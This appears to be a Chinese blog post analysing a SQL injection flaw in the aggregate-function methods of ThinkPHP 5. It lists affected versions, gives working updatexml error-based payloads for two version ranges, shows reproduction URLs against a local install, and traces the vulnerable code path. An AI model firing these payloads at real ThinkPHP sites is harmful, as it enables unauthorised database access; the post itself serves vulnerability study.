thinkphp5框架SQL注入分析:聚合函数

前言

漏洞存在于所有Mysql聚合函数相关方法,如 AVG , COUNT , SUM , MIN , MAX 等

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.215.1.3<=ThinkPHP5<=5.1.25

不同版本的payload

  • 5.0.0~5.0.21 、 5.1.3~5.1.10

    1
    id)%2bupdatexml(1,concat(0x7e,database()),0) from users%23
  • 5.1.11~5.1.25

    1
    id`)%2bupdatexml(1,concat(0x7e,database()),0) from users%23

漏洞复现

5.0.10

1
http://localhost/tp501/public/?options=id)%2bupdatexml(1,concat(0x7e,database()),0)%20from%20users%23

WrGkIs.png

5.1.22

1
http://localhost/tp5122/public/?options=id`)%2bupdatexml(1,concat(0x7e,database()),0)%20from%20users%23

WrGFaj.png

漏洞分析

5.1.22版本

1.控制器中,传入的参数$options进入了max

Wr8jPI.png

2.进入max,调用aggregate

Wr8vGt.png

3.aggregate中调用think\db\Connection类的aggregate

Wr8xRP.png

4.think\db\Connection类的aggregate中经过两步

  1. 先拼接聚合函数名,然后在parseKey拼接反引号
  2. 拼接好的$field传入value执行

WrGpM8.png

5.value

之前已经分析过几次thinkphp的注入了,这里跟之前的基本一样,主要执行了四步

  1. 把$field拆分成数组
  2. setOption把$field赋值给$this->options['field']
  3. select拼接sql语句
  4. query执行sql语句

WrG9sS.png

6.select

又是这个熟悉的模板,这次需要关注的是parseField

Wr8zxf.png

7.parseField

传入的参数$this->options[‘field’]

Wr8OIA.png

这里实际上只执行了两步

  1. parseKey中由于两个if条件都不满足,直接原封不动的返回$key
  2. implode把之前拆分的$fields数组重新拼接回去,又变回原来的语句了

WrGCqg.png

8.最后进入query执行,实际执行的sql语句

1
SELECT MAX(`id`)+updatexml(1,concat(0x7e,database()),0)

WrGiZQ.png

5.0.10版本

对比下两种payload,发现唯一的区别是多了一个反引号

5.0.10

1
id)%2bupdatexml(1,concat(0x7e,database()),0) from users%23

5.1.22

1
id`)%2bupdatexml(1,concat(0x7e,database()),0) from users%23

看到5.0.10版本的max函数,发现少了拼接反引号的操作

WrGEin.png

可以看到传入value的$field没有拼接反引号

WrGVGq.png

参考

https://github.com/Mochazz/ThinkPHP-Vuln


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!